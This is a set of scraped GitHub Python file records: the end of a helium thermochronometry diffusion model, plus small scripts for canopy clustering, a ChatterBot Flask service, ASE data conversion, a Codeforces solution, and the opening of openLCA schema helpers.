self.integrateTimestep(tempFromTimeFun(t + (dt / 2.0)), dt)\n            t += dt\n\n    def integrateThermalHistory(self, tStart, tStop, dt, tempFromTimeFun):\n        '''\n        Integrate through the provided thermal history\n        :param tStart: time to start the integration\n        :param tStop: time to stop the integration\n        :param tempFromTimeFun: function that given a time will return a temperature in K\n        :return: None, updates the values of this instance\n        '''\n\n        t = tStart\n\n        while t < tStop:\n            if t + dt > tStop:\n                dt = tStop - t\n            self.integrateTimestep(tempFromTimeFun(t + (dt / 2.0)), dt)\n            t += dt\n\n    def _calcEjectionFraction(self):\n        '''\n        No ejection for this thermochronometer\n        :return:\n        '''\n\n        np.ones_like(self.rs)\n\n    def calcDaughterLossRate(self, T):\n        ''' Calculates the flux of daughter product following the temperature dependent\n        diffusivity specified by the temperature T and the function of temperature\n        diffusivityFunction. E.g.\n\n        dNdT = D_0*exp(-Ea/RT) * grad^2 N\n        '''\n\n        # Apply boundary conditions - reflective and 0 concentration (outside grain)\n        N = np.hstack((self._daughters[1], self._daughters, self.external_bc))\n\n        grad2N = (N[2:] - 2.0 * N[1:-1] + N[:-2]) / (self.dr ** 2)\n\n        return self._diffusivityFunction(T) * grad2N\n\n    def integrateTimestep(self, T, dt):\n        ''' Integrates the production diffusion equation\n        '''\n        dNdt, dDdt = self.calcDecayProductionRate()\n        dDdt *= self._ejectionFraction\n        self._parents += dNdt * dt  # Could make this more sophisticated\n\n        #Integrate the production and diffution of the daughter\n        self._daughters = self._integrateDiffusant(self._daughters,dDdt,T,dt)\n\n    def plotDaughterProfile(self, normalize=True, **kwargs):\n        '''\n\n        :param kwargs: passed to matplotlib.plot(radialDistance,DaughterConc,**kwargs)\n        :return:\n        '''\n\n        if normalize:\n            plt.plot(self.rs / self.radius, self._daughters / np.max(self._daughters), '-', **kwargs)\n        else:\n            plt.plot(self.rs, self._daughters, '-', **kwargs)\n\n    def _integrateDiffusant(self,diffusant,Production,T,dt):\n        '''\n        Integrate the production/diffusion equation in a sphere following the finite-difference solution of\n        Ketcham 2005\n        :param diffusant: The concentrations of the thing being diffused (e.g. the Daughter isotope)\n        :param Production: The rate of production of the daughter isotope\n        :param T: The temperature that is foverning diffusion\n        :param dt: The timestep to integrate for\n        :return:\n        '''\n\n        # Set up linear algebra solution\n        # D = (self._diffusivityFunction(T_i) + self._diffusivityFunction(T_ip1))/2.0\n        D = self._diffusivityFunction(T)\n        b = 2.0 * self.dr ** 2 / (D * dt)\n        self._M[self._kDiag] = (-b - 2.0)\n        self._N[self._kDiag] = (2.0 - b)\n        A = Production * self.rs * b * dt\n\n        sum_RHS = (np.dot(self._N, diffusant * self.rs)) - A\n\n        # Set boundary condition for external node\n        sum_RHS[-1] = diffusant[-1] * self.rs[-1]\n        self._M[-1, :] = 0\n        self._M[-1, -1] = -1\n\n        # Set boundary condition for central node\n        sum_RHS[0] = (2 - b) * diffusant[0] * self.rs[0] - diffusant[1] * self.rs[1] + diffusant[0] * self.rs[0] - A[0]\n        self._M[0, 0] = (-b - 3.0)\n\n        return np.dot(sum_RHS, linalg.inv(self._M)) / self.rs #Was using this\n\n        # return linalg.solve(self._M,sum_RHS)/ self.rs #But this seems more elegant, potentially more stable if the matrix is weird?\n\n\n    def _volumeIntegral(self,quantity):\n        '''\n\n        :param quantity: the radial profile of some quantity\n        :return: integral of the quantity over the spherical domain\n        '''\n\n        #We want to ingerate from 0 -> R, but our grid doesn't span that. Extend\n        # and pad with zeros (first 0 is because concentration doesn't matter at r = 0, second is because concentration\n        # is 0 at grain boundary)\n        integralQuantity = np.hstack((0,quantity,0))\n        positions = np.hstack((0,self.rs,self.radius))\n        return sphericalVolumeIntegral(integralQuantity,positions)\n\nclass SphericalHeThermochronometer(sphericalThermochronometer):\n    ''' A thermochronometer where the daughter product is He produced by decay of U, Th, Sm\n    and daughter is lost by thermally activated diffusion\n    '''\n    stoppingDistance = None\n\n    def __init__(self, radius, dr, parentConcs, daughterConcs, diffusivityParams=None):\n        '''\n\n        :param radius:\n        :param dr:\n        :param diffusivityFunction:\n        :param parentConcs:\n        :param daughterConcs:\n        :param decayConstants:\n        :param daughterProductionFactors:\n        '''\n\n        self.radius = radius\n        self.dr = dr\n        self.rs = np.arange(dr / 2.0, radius, dr) #Hmmm.... in some cases this can generate a radial coordinate AT the edge - which shouldn't exist given Ketcham's model setup...\n        if self.rs[-1] == radius:\n            print('Error: crystal grid coordinates do not abide by requirements of numerical model')\n\n        self._n = len(self.rs)\n        self._assignDiffusivityFunction(diffusivityParams)\n\n        self._daughters = daughterConcs\n        self._parents = parentConcs\n\n        # Set up matrices for solution\n        a = np.array([np.ones(self._n - 1), np.ones(self._n), np.ones(self._n - 1)])\n\n        # Initialize the matrices usef for the integration\n        self._M = np.diag(np.ones(self._n), k=0)\n        self._N = np.diag(np.ones(self._n), k=0)\n\n        # Store the relative indices of the diagonals\n        self._km1Diag = kth_diag_indices(self._M, -1)\n        self._kDiag = np.diag_indices(self._n)\n        self._kp1Diag = kth_diag_indices(self._M, 1)\n\n        # fill in the otherimportant diagonals\n        self._M[self._km1Diag] = 1.0\n        self._M[self._kp1Diag] = 1.0\n\n        self._N[self._km1Diag] = -1.0\n        self._N[self._kp1Diag] = -1.0\n\n        # Calculate the depletion fraction as a function of radius\n        self._ejectionFraction = self._calcEjectionFraction()\n\n        self._multipleParents = parentConcs.ndim > 1\n\n        #What are the discrete volumes of each node spherical shell\n        Volumes = (4.0 / 3.0) * np.pi * ((self.rs + self.dr / 2.0) ** 3 - (self.rs - (self.dr / 2.0)) ** 3)\n        Volumes[0] = (4.0 / 3.0) * np.pi * (self.rs[0] + (self.dr / 2.0)) ** 3\n        Volumes[-1] = (4.0 / 3.0) * np.pi * (self.radius ** 3 - (self.rs[-1] - (self.dr / 2.0)) ** 3)\n\n        self._ShellVolumes = Volumes\n\n    def _calcEjectionFraction(self):\n        '''\n        Eject He based on the stopping distance and grain size, utilizes the formulation of Farley for a spherical grain\n        as summarized by Ketcham (2005)\n        :return:\n        '''\n\n        Xstr = (self.rs ** 2 + self.radius ** 2 - self.stoppingDistance ** 2) / (2.0 * self.rs)\n        ret = 0.5 + (Xstr - self.rs) / (2.0 * self.stoppingDistance)\n        ret[(self.radius - self.stoppingDistance) > self.rs] = 1.0\n        return ret\n\n    def integrate43experiment(self,Temps = None,Durations = None,taos = None,plotProfileEvolution = False):\n        '''\n\n        :param Temps: The temperatures of each step\n        :param Durations: The durations of each step\n        :return: He_released, Rstep/Rbulk\n        '''\n\n        nPtsForDegassing = 500.0 #In my experience the fourier part of this solution performs best with a certiain number of pts\n\n        if (Temps is None) or (Durations is None):\n            Temps = np.linspace(130.0, 650.0, 100) + 273.15\n            Durations = np.ones_like(Temps) * 0.1 / (24.0 * 365)\n\n        if plotProfileEvolution:\n            f,axs = plt.subplots(1,2)\n            cmap = cm.get_cmap('coolwarm')\n            colors = [cmap(i) for i in np.linspace(0,1,len(Temps))]\n\n        #Creating copies of the 'doped' profile and the daughter profile\n        #To forward diffuse\n\n        #If using ketcham solution for diffusion, we have an irregular grid - interpolate to a regular grid\n        dr = self.radius/nPtsForDegassing\n        rs = np.arange(dr/1e2,self.radius,dr) #Make the first point very small, but non-zero (to avoid divide by zero in CJ diffusion)\n        interp = interpolate.interp1d(np.hstack((-self.rs,self.rs,self.radius)),np.hstack((self._daughters,self._daughters,0)),kind = 'cubic')\n        conc_4 = interp(rs)\n\n        conc_3 = np.ones_like(conc_4)*np.mean(conc_4)\n\n        if plotProfileEvolution:\n            axs[0].plot(rs/self.radius,conc_3,'-k')\n            axs[1].plot(rs/self.radius,conc_4,'-k')\n\n        #Calculate how much gas started in the grains\n        total3_0 = sphericalVolumeIntegral(conc_3,rs)\n        total4_0 = sphericalVolumeIntegral(conc_4,rs)\n\n        #If the diffusion parameters for each step where not specified, calculate them\n        if taos is None:\n            taos = self._diffusivityFunction(Temps) * Durations / self.radius ** 2\n\n        #Preallocate some space for the results of step heating\n        f_4He = np.zeros(len(taos)+1)\n        f_3He = np.zeros(len(taos)+1)\n\n        #f_0 = 0 (to start, all the gas is remaining) ... but Shuster seems to write in another way... that f_0 = 1? perhaps he means F_0 = 1?\n        # f_4He[0] = 1.0\n        # f_3He[0] = 1.0\n\n        for i,tao in enumerate(taos):\n            conc_3_i = CJDiffuse(conc_3,np.sum(taos[:i+1]),rs,self.radius)\n            conc_4_i = CJDiffuse(conc_4,np.sum(taos[:i+1]),rs,self.radius)\n\n            #For non-mirrored profile\n            totalHe3_i = sphericalVolumeIntegral(conc_3_i,rs)\n            totalHe4_i = sphericalVolumeIntegral(conc_4_i,rs)\n\n            #First step is i=1, becuase at i = 0, f = 1 (all gas remaining),\n            #Calculate the remaining gas fraction normalized by the initial gas content\n            f_3He[i+1] = (total3_0 - totalHe3_i)/total3_0\n            f_4He[i+1] = (total4_0 - totalHe4_i)/total4_0\n\n            if plotProfileEvolution:\n                axs[0].plot(rs[1:]/self.radius,conc_3_i[1:],label = str(i),color = colors[i])\n                axs[1].plot(rs[1:]/self.radius,conc_4_i[1:],label = str(i),color = colors[i])\n\n        if plotProfileEvolution:\n            axs[0].set_ylabel(r'$[3^He]$',fontsize = 14)\n            axs[0].set_xlabel(r'$r/a$',fontsize = 14)\n            axs[1].set_ylabel(r'$[4^He]$', fontsize=14)\n            axs[1].set_xlabel(r'$r/a$', fontsize=14)\n\n        #Calculate the gas release fraction - Note: Shuster & Farley, 2004 have this written as f_(i-1) - f(i), which seems like the wrong sign to me...\n        F3He = f_3He[1:] - f_3He[:-1]\n\n        F4He = f_4He[1:] - f_4He[:-1]\n\n        # This is written as Rstep in Shuster & Farley 2004, but is already normalized by the bulk ratio through f.\n        #Were we to divide through be the bulk concentration ratio we would re-introduce dependence on concentration\n        RstepRbulk = F4He/F3He\n        return f_3He,f_4He,F3He,RstepRbulk\n\n\n    def calcAge(self, applyFt=True):\n        '''\n        :param applyFt: boolean, should the alpha ejection correction be applied\n        :return: age\n        '''\n        #\n        # Volumes = (4.0 / 3.0) * np.pi * ((self.rs + self.dr / 2.0) ** 3 - (self.rs - (self.dr / 2.0)) ** 3)\n        # Volumes[0] = (4.0 / 3.0) * np.pi * (self.rs[0] + (self.dr / 2.0)) ** 3\n        # Volumes[-1] = (4.0 / 3.0) * np.pi * (self.radius ** 3 - (self.rs[-1] - (self.dr / 2.0)) ** 3)\n        #\n        # parents = [np.sum(parent * Volumes) for parent in self._parents]\n        # daughters = np.sum(self._daughters * Volumes)\n\n        parents = [self._volumeIntegral(parent) for parent in self._parents]\n        daughters = self._volumeIntegral(self._daughters)\n\n        def rootFunc(self, t):\n            sumParentsRemaining = 0.0\n            sumDecayComponent = 0.0\n            for i, f in enumerate(self._daughterProductionFactors):\n                sumParentsRemaining += f * parents[i]\n                sumDecayComponent += f * parents[i] * np.exp(self._decayConsts[i] * t)\n\n            return (daughters + sumParentsRemaining) - sumDecayComponent\n\n        tErr = lambda t: rootFunc(self, t)\n        t0 = 1e6  # Initial guess of 1 MA\n\n        age = optimize.root(tErr, t0).x\n\n        if applyFt:\n            age /= self.calcFt()\n\n        return age / 1e6\n\n    def calcFt(self):\n        '''\n        Calculate the alpha ejection correction of Farley, 1996\n        :return: Ft, the fraction of alpha particles that would be retained\n        '''\n\n        return 1 - (3.0 * self.stoppingDistance) / (4.0 * self.radius) + self.stoppingDistance ** 3 / (\n        16.0 * self.radius ** 3)\n\n\nclass SphericalApatiteHeThermochronometer(SphericalHeThermochronometer):\n    '''\n    A spherical he thermochronometer with the properties of apatite\n    '''\n    # Parameters related to decay\n    _lam_238U = 1.55125E-10\n    _lam_235U = 9.8485E-10\n    _lam_232Th = 4.9475E-11\n    _lam_147Sm = 6.539E-12\n\n    # Production factors\n    _p_238U = 8.0\n    _p_235U = 7.0\n    _p_232Th = 6.0\n    _p_147Sm = 1.0\n\n    _decayConsts = np.array([_lam_238U, _lam_235U, _lam_232Th])\n    _daughterProductionFactors = np.array([_p_238U, _p_235U, _p_232Th])\n\n    #From Farley et al., 1996\n    stoppingDistance = np.sum((np.array([19.68, 22.83, 22.46]) / 1e6) * _daughterProductionFactors) / np.sum(\n        _daughterProductionFactors)\n\n    _defaultDiffusivty = 'Farley'\n\n    def _assignDiffusivityFunction(self, diffusivityParams):\n        '''\n\n        :param diffusivityParams:\n        :return:\n        '''\n\n        R = 8.3144598  # J/K /mol Universal gas constant\n\n        if diffusivityParams is None:\n            diffusivityParams = self._defaultDiffusivty\n\n        if isinstance(diffusivityParams,dict):\n            Do = diffusivityParams['Do']\n            Ea = diffusivityParams['Ea']\n\n        elif diffusivityParams.lower() == 'cherniak':\n\n            ##thermal diffusivty - should probably build all this into a file and just read from that, easier to update, switch between values\n            # These values from Cherniak, Watson, and Thomas, 2009\n            Do = 2.1E-6 * (60.0 * 60.0 * 24 * 365.0)  # m^2/s -> m^2 / yr\n            Ea = (-117.0) * 1000.0  # kJ/mol -> J/mol\n\n        elif diffusivityParams.lower() == 'farley':\n            # These values from Farley 2000\n            Do = 157680.0  # m^2 / yr\n            Ea = -137653.6  # J/mol\n\n\n        self._diffusivityFunction = lambda T: thermDiffusivity(T, Do, Ea, R)\n\n\n\nclass SphericalZirconHeThermochronometer(SphericalHeThermochronometer):\n    '''\n    A spherical he thermochronometer with the properties of apatite\n    '''\n    # Parameters related to decay\n    _lam_238U = 1.55125E-10\n    _lam_235U = 9.8485E-10\n    _lam_232Th = 4.9475E-11\n    _lam_147Sm = 6.539E-12\n\n    # Production factors\n    _p_238U = 8.0\n    _p_235U = 7.0\n    _p_232Th = 6.0\n    _p_147Sm = 1.0\n\n    _decayConsts = np.array([_lam_238U, _lam_235U, _lam_232Th])\n    _daughterProductionFactors = np.array([_p_238U, _p_235U, _p_232Th])\n\n    #From Farley et al., 1996\n    #TODO: Need to introduce better stopping distance calculations based on actual parent material present\n    stoppingDistance = np.sum((np.array([16.65, 19.64, 19.32]) / 1e6) * _daughterProductionFactors) / np.sum(\n        _daughterProductionFactors)\n\n    _defaultDiffusivty = 'Reiners'\n\n    def _assignDiffusivityFunction(self, diffusivityParams):\n        '''\n\n        :param diffusivityParams:\n        :return:\n        '''\n\n        R = 8.3144598  # J/K /mol Universal gas constant\n\n        if diffusivityParams is None:\n            diffusivityParams = self._defaultDiffusivty\n\n        if isinstance(diffusivityParams,dict):\n            Do = diffusivityParams['Do']\n            Ea = diffusivityParams['Ea']\n\n        elif diffusivityParams.lower() == 'reiners':\n            # best fitting diffusivities from Reiners et al., 2004\n            Ea =  -169000.0\n            Do = 1451.61859\n\n        self._diffusivityFunction = lambda T: thermDiffusivity(T, Do, Ea, R)\n\n\n# ==============================================================================\n#  Classes for different thermochronology experiments\n# ==============================================================================\n\nclass HeDegassingExperiment:\n    '''\n    This is a work in progress to experiment with inverting Apatite 4/3 data for thermal histories.\n    '''\n\n    def __init__(self,filepath,fitRange = [0,1],name = 'No name'):\n        '''\n        NOTES:\n        :param filepath:\n        :param fitIndices: Which range of sumFHe values might you want to fit? This is here in the even we want to ignore\n        strange steps with little gas at the end of runs\n        '''\n        self.filepath = filepath\n        self.fitRange = fitRange\n        self.name = name\n\n        #The expected structure of the excel files (from Shuster) have two headers, get informatino from the top first\n        df = pd.read_excel(filepath,nrows = 2)\n\n        self.R = float(df['grain_radius (cm)'][0] / 100.0) #cm -> m\n        self.U = float(df['bulk[U] (ppm) '][0])\n        self.Th = float(df['bulk[Th] (ppm)'][0])\n        self.Age = float(df['age'][0])\n        self.dAge = float(df['delage'][0])\n\n        #Close the dataframe and re-open it skipping rows\n        df = None\n        df = pd.read_excel(filepath,skiprows=2)\n\n        self.stepTemps = np.array(df['T(deg C) '])\n        self.stepDurations = np.array(df['t(hr) '])/(24.0*365) # hrs -> years\n\n        self.He_3 = np.array(df['He-3(10^6 atoms) '])\n        self.dHe_3 =  np.array(df['dHe-3(10^6 atoms) '])\n\n        self.HeRatio = np.array(df['4/3_ratio '])\n        self.dHeRatio = np.array(df['d4/3_ratio '])\n\n        self._goodData = (self.He_3 > 0) & (self.dHe_3 > 0) & (self.HeRatio > 0) & (self.dHeRatio > 0)\n        self._goodIdcs = np.argwhere(self._goodData).flatten()\n\n        #Hmmmm..... how to deal with bad experiments... tricky part about nan or zero is propogation of results\n        self.HeRatio[~self._goodData] = 0\n        self.dHeRatio[~self._goodData] = 0\n        self.He_3[~self._goodData] = 0\n        self.dHe_3[~self._goodData] = 0\n\n        self.He_4 = self.He_3*self.HeRatio\n        self.dHe_4 = self.He_4*np.sqrt((self.dHeRatio/self.HeRatio)**2 + (self.dHe_3/self.He_3)**2)\n        self.dHe_4[~self._goodData] = 0\n\n        self.F_3He, self.dF_3He, self.sum_F_3He, self.dsum_F_3He = self._calcf_F(self.He_3,self.dHe_3)\n\n        self.fitIndices = (self.sum_F_3He >= fitRange[0]) & (self.sum_F_3He <=fitRange[1])\n\n        self.RsRb = self.HeRatio/(np.sum(self.He_4)/np.sum(self.He_3))\n        self.RsRb[~self._goodData] = 0\n\n        dSum4He = np.sqrt(np.sum(self.dHe_4**2))\n        dSum3He = np.sqrt(np.sum(self.dHe_3**2))\n        Rb = np.sum(self.He_4)/np.sum(self.He_3)\n        dRb = Rb*np.sqrt((dSum4He/np.sum(self.He_4))**2 + (dSum3He/np.sum(self.He_3))**2)\n        self.dRsRb = self.RsRb*np.sqrt((self.dHeRatio/self.HeRatio)**2 + (dRb/Rb)**2)\n        self.dRsRb[~self._goodData] = 0\n        \n        #Calculate the values of Tao estimated from this experiment - this is used for comparring this experiment to models\n        self._Taos = self.calcTaosFromGasRelease()\n\n\n    def _calcf_F(self,N,dN):\n        '''\n        :param N:\n        :return: f\n        '''\n        N_0 = np.sum(N)\n        dN_0 = np.sqrt(np.sum(dN**2))\n\n        F = N/N_0\n        dF = F*np.sqrt((dN_0/N_0)**2 + (dN/N)**2)\n\n        F[~self._goodData] = 0\n        dF[~self._goodData] = 0\n\n        sum_F = np.cumsum(F)\n        dSum_F = np.sqrt(np.cumsum(dF**2))\n\n        sum_F[~self._goodData] = 0\n        dSum_F[~self._goodData] = 0\n\n        return F,dF,sum_F,dSum_F\n\n    def plotRatioEvolution(self,**kwargs):\n        '''\n        :param kwargs: passed to pyplot.errorbar\n        :return:\n        '''\n        plt.errorbar(self.sum_F_3He, self.RsRb, yerr=self.dRsRb, xerr=self.dsum_F_3He,label = self.name, **kwargs)\n\n    def calcArrhenius(self):\n        '''\n\n        :param kwargs:\n        :return:\n        '''\n        return calcD_forArrhenius(self.R,self.sum_F_3He[self._goodData],self.stepDurations[self._goodData]), 1.0/(273.15+self.stepTemps[self._goodData])\n\n    def L2Norm_ratioEvolution(self,sumF3He_exp,RsRb):\n        goodData = ~np.isnan(RsRb)  & self._goodData\n        return np.sum((RsRb[goodData] - self.RsRb[goodData])**2)\n\n    def ln_likelihood_RsRb(self,RsRb):\n        goodData = ~np.isnan(RsRb) & self._goodData & self.fitIndices\n        ps = (1.0/np.sqrt(2.0*np.pi*self.dRsRb**2))*np.exp(-(RsRb - self.dRsRb)**2/(2.0*self.dRsRb**2))\n        return np.sum(np.log(ps[goodData]))\n\n    def calcTaosFromGasRelease(self):\n        '''\n        Calculate the integrated normalized diffusivity determined from the gas release fractions based on the equations\n        of  C&J. This will be used when comparing model to fit data, as it ensures that the x-axis are matched.\n        :return: tao - an array of D*dt/a^2 for each step in the experiment\n        '''\n        \n        D = self.calcArrhenius()[0] #Calc arrhenius masks out data that is not 'good', this needs to match\n        tao = D*self.stepDurations[self._goodData]/self.R**2\n        return tao\n\n    def ln_likelihood_Experiment(self,HeModel):\n        '''\n\n        :param HeModel:\n        :return:\n        '''\n        \n        #To ensure matching gas release to experiment - use the tao values determined for this experiment in simulating the degassing        \n        F3He, RsRb = HeModel.integrate43experiment(self.stepTemps + 273.15, self.stepDurations,taos= self._Taos,plotProfileEvolution=False)[2:]\n\n        sumF3He = np.cumsum(F3He)\n\n        #When fitting a more finely discretized step heating experiment\n        goodIdcs = np.argwhere(self._goodData)\n\n        return np.sum(stats.norm.logpdf(RsRb[self.fitIndices],self.RsRb[self.fitIndices],self.dRsRb[self.fitIndices]))\n\n","repo_name":"johnsamstone/ThermochronTools","sub_path":"Thermochronometer.py","file_name":"Thermochronometer.py","file_ext":"py","file_size_in_byte":40881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"14550419916","text":"#!/usr/bin/env python3\n\n\"\"\"\nHalf-hearted implementation of \nhttps://en.wikipedia.org/wiki/Canopy_clustering_algorithm\n\"\"\"\n\nfrom collections import defaultdict\nfrom mathlib import cosine_similarity\n\ndef calculate_similarity(history):\n\t\"\"\"calculate cosine similarity between user\n\t\n\t[description]\n\t\n\tArguments:\n\t\thistory {dictionary of list of binary} --\n\t\t\tkey <- user_id\n\t\t\tvalue <- list of user-item interaction (binary)\n\t\t\texample: \n\t\t\t{\n\t\t\t\t'u1':[0,1,1,1,0],\n\t\t\t\t'u2':[0,1,1,1,0],\n\t\t\t\t'u3':[0,1,1,1,0]\n\t\t\t}\n\tReturns:\n\t\tdictionary of similarities --\n\t\t\tkey <- user_id_1\n\t\t\tvalue <- dictionary of float\n\t\t\t\tkey <- user_id_2\n\t\t\t\tvalue <- cosine similarity between history of user_id_1 and user_id_2\n\t\t\texample: \n\t\t\t{\n\t\t\t\t'u1': {'u2': 0.4, 'u3': 0.5},\n\t\t\t\t'u2': {'u1': 0.4, 'u3': 0.6},\n\t\t\t\t'u3': {'u1': 0.5, 'u3': 0.6},\n\t\t\t}\n\t\"\"\"\n\n\tresult = defaultdict(dict)\n\tusers = list(history.keys())\n\tfor i, user1 in enumerate(users):\n\t\tfor user2 in users[i+1:]:\n\t\t\tx = history[user1]\n\t\t\ty = history[user2]\n\t\t\tdistance = cosine_similarity(x, y)\n\t\t\tresult[user1][user2] = distance\n\t\t\tresult[user2][user1] = distance\n\treturn result\n\ndef cluster_canopy(user_similarity, loose=0.3, tight=0.6):\n\t\"\"\"cluster user based on similarity, canopy style\n\t\n\tArguments:\n\t\tuser_similarity {dictionary of similarities} -- output of calculate_similarity\n\t\n\tKeyword Arguments:\n\t\tloose {number} -- lower bound for outer cluster (default: {0.3})\n\t\ttight {number} -- lower bound for inner cluster (default: {0.6})\n\t\n\tReturns:\n\t\tdictionary of list of user_id --\n\t\t\tkey <- cluster id\n\t\t\tvalue <- list of cluster member\n\t\t\t{\n\t\t\t\t0: [1, 2, 3, 6, 7, 8, 9],\n\t\t\t\t1: [2, 3, 5, 6, 8, 9],\n\t\t\t\t2: [8, 9, 4, 5],\n\t\t\t\t3: [8, 5, 6]\n\t\t\t}\n\t\"\"\"\n\n\tif loose > tight:\n\t\ttight, loose = loose, tight\n\tusers = set(user_similarity.keys())\n\tclusters = defaultdict(set)\n\tcluster_number = 0\n\n\twhile users:\n\t\tcenter = users.pop()\n\t\tcluster = set([center])\n\t\tremovable = set()\n\n\t\tfor candidate in users:\n\t\t\tscore = user_similarity[center][candidate]\n\t\t\tif score > tight:\n\t\t\t\tcluster.add(candidate)\n\t\t\t\tremovable.add(candidate)\n\t\t\telif score > loose:\n\t\t\t\tcluster.add(candidate)\n\n\t\tfor x in removable:\n\t\t\tusers.remove(x)\n\n\t\tif cluster:\n\t\t\tclusters[cluster_number] = cluster\n\t\t\tcluster_number += 1\n\treturn clusters\n\nif __name__ == '__main__':\n\timport random\n\thistory = {}\n\tuser_number = 10\n\titem_number = 10\n\tloose = 0.4\n\ttight = 0.7\n\n\tfor u in range(user_number):\n\t\th = [random.randint(0, 1) for y in range(item_number)]\n\t\thistory[u] = h\n\tuser_similarity = calculate_similarity(history)\n\ts = cluster_canopy(user_similarity, loose, tight)\n\tprint(s)","repo_name":"rivandi/ampas","sub_path":"python/canopy.py","file_name":"canopy.py","file_ext":"py","file_size_in_byte":2581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"1907425205","text":"from chatterbot import ChatBot\nfrom chatterbot.trainers import ChatterBotCorpusTrainer\nfrom chatterbot.trainers import ListTrainer\n\nfrom flask import Flask\nfrom flask_cors import CORS,cross_origin\nfrom flask import request\napp = Flask(__name__)\nCORS(app)\n\nfrom convokit import Corpus, download\ncorpus_movie = Corpus(filename=download(\"movie-corpus\"))\ncorpus_conv_reddit = Corpus(filename=download(\"conversations-gone-awry-cmv-corpus\"))\ncorpus_friends = Corpus(filename=download(\"friends-corpus\"))\n\nchatbot = ChatBot('Tyler')\n\n# Create a new trainer for the chatbot\ntrainer = ChatterBotCorpusTrainer(chatbot)\ntrainer.train(\"chatterbot.corpus.english\")\ntrainer.train(corpus_movie)\ntrainer.train(corpus_conv_reddit)\ntrainer.train(corpus_friends)\n\n\n@app.route(\"/\", methods=['GET'])\ndef index():\n   speech = request.args.get('speech')\n   response = chatbot.get_response(speech)\n   return {\n   \"response\": str(response)\n   }\n\nif __name__ == \"__main__\":\n    app.run(host=\"0.0.0.0\", port=5000, debug=False)","repo_name":"elonmask/text-speech","sub_path":"brain/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"9884254369","text":"import numpy as np\nimport os\nimport csv\nimport ase.db\nimport ase.io\n\nif not os.path.exists('2D_data'):\n  os.mkdir('2D_data')\n\n# Connect to database\ndb = ase.db.connect('c2db.db')\n\nrows = db.select(selection='workfunction')\ncount=0\nout=[]\nfor row in rows:\n  atoms=row.toatoms()\n  out.append(row.workfunction)\n  ase.io.write('2D_data/'+str(count)+'.json', atoms)\n  count=count+1\nprint(count)\n\nwith open('2D_data/targets.csv', 'w') as f:\n  for i in range(0, count):\n    f.write(str(i)+','+str(out[i]) + '\\n')","repo_name":"Fung-Lab/MatDeepLearn","sub_path":"data/2D_data/read_db.py","file_name":"read_db.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","stars":145,"dataset":"github-code","pt":"16"}
+{"seq_id":"23518121338","text":"import math\n\n\ndef get_digit(number, index):\n    return number // (10 ** index) % 10\n\n\nprint(get_digit(2374, 3))\n\n\ndef get_vertex():\n    x = float(input(\"enter x:\"))\n    y = float(input(\"enter y:\"))\n    return x, y\n\n\ndef get_triangle():\n    print(\"first vertex\")\n    x1, y1 = get_vertex()\n    print(\"second vertex\")\n    x2, y2 = get_vertex()\n    print(\"third vertex\")\n    x3, y3 = get_vertex()","repo_name":"MichaelBoyo/python_at_semicolon","sub_path":"python_at_semicolon/functions_contd.py","file_name":"functions_contd.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"32850828855","text":"n=int(input())\na=list(map(int,input().split()))\np=1\nflag=True\nfor i in range(n-1):\n    if(p==1):\n        if(a[i+1]>a[i]):\n            continue\n        elif(a[i+1]==a[i]):\n            p=2\n        else:\n            p=3\n    elif(p==2):\n        if(a[i+1]>a[i]):\n            flag=False\n            break\n        elif(a[i+1]==a[i]):\n            continue\n        else:\n            p=3\n    else:\n        if(a[i+1]>a[i]):\n            flag=False\n            break\n        elif(a[i+1]==a[i]):\n            flag=False\n            break\n        else:\n            continue\nif(flag):\n    print('YES')\nelse:\n    print('NO')\n","repo_name":"Pulkit3108/Codeforces-Problems","sub_path":"Round#424(Div. 2)A.py","file_name":"Round#424(Div. 2)A.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"74236538247","text":"from .schema import *\nfrom typing import Optional, Union\n\n\ndef new_unit(name: str, conversion_factor=1.0) -> Unit:\n    \"\"\"Creates a new unit.\n\n    Parameters\n    ----------\n    name:\n        The name of the unit, e.g. 'kg'\n    conversion_factor:\n        An optional conversion factor to the reference unit of the unit group\n        where this unit is defined. Defaults to 1.0.\n\n    Example\n    -------\n    ```python\n    unit = new_unit('kg')\n    ```\n    \"\"\"\n    return Unit(\n        id=str(uuid.uuid4()),\n        name=name,\n        conversion_factor=1.0,\n        is_ref_unit=conversion_factor == 1.0,\n    )\n\n\ndef new_unit_group(name: str, ref_unit: Union[str, Unit]) -> UnitGroup:\n    \"\"\"Creates a new unit group.\n\n    Parameters\n    ----------\n    name:\n        The name of the new unit group.\n    ref_unit:\n        The reference unit of the new unit group.\n\n    Example\n    -------\n    ```python\n    group = new_unit_group('Mass units', 'kg')\n    ```\n    \"\"\"\n    unit: Unit = new_unit(ref_unit) if isinstance(ref_unit, str) else ref_unit\n    group = UnitGroup(name=name, units=[unit])\n    return group\n\n\ndef new_flow_property(\n    name: str, unit_group: Union[Ref, UnitGroup]\n) -> FlowProperty:\n    \"\"\"Creates a new flow property (quantity).\n\n    Parameters\n    ----------\n    name:\n        The name of the new flow property\n    unit_group:\n        The unit group or reference to the unit group if this flow property.\n\n    Example\n    -------\n    ```python\n    group = new_unit_group('Mass units', 'kg')\n    mass = new_flow_property('Mass', group)\n    ```\n    \"\"\"\n    return FlowProperty(name=name, unit_group=as_ref(unit_group))\n\n\ndef new_flow(\n    name: str, flow_type: FlowType, flow_property: Union[Ref, FlowProperty]\n) -> Flow:\n    \"\"\"Creates a new flow.\n\n    Parameters\n    ----------\n    name:\n        The name of the new flow.\n    flow_type:\n        The type of the new flow (product, waste, or elementary flow).\n    flow_property:\n        The reference flow property of the flow.\n\n    Example\n    -------\n    ```python\n    group = new_unit_group('Mass units', 'kg')\n    mass = new_flow_property('Mass', group)\n    steel = new_flow('Steel', FlowType.PRODUCT_FLOW, mass)\n    ```\n    \"\"\"\n    factor = FlowPropertyFactor(\n        flow_property=as_ref(flow_property),\n        conversion_factor=1.0,\n    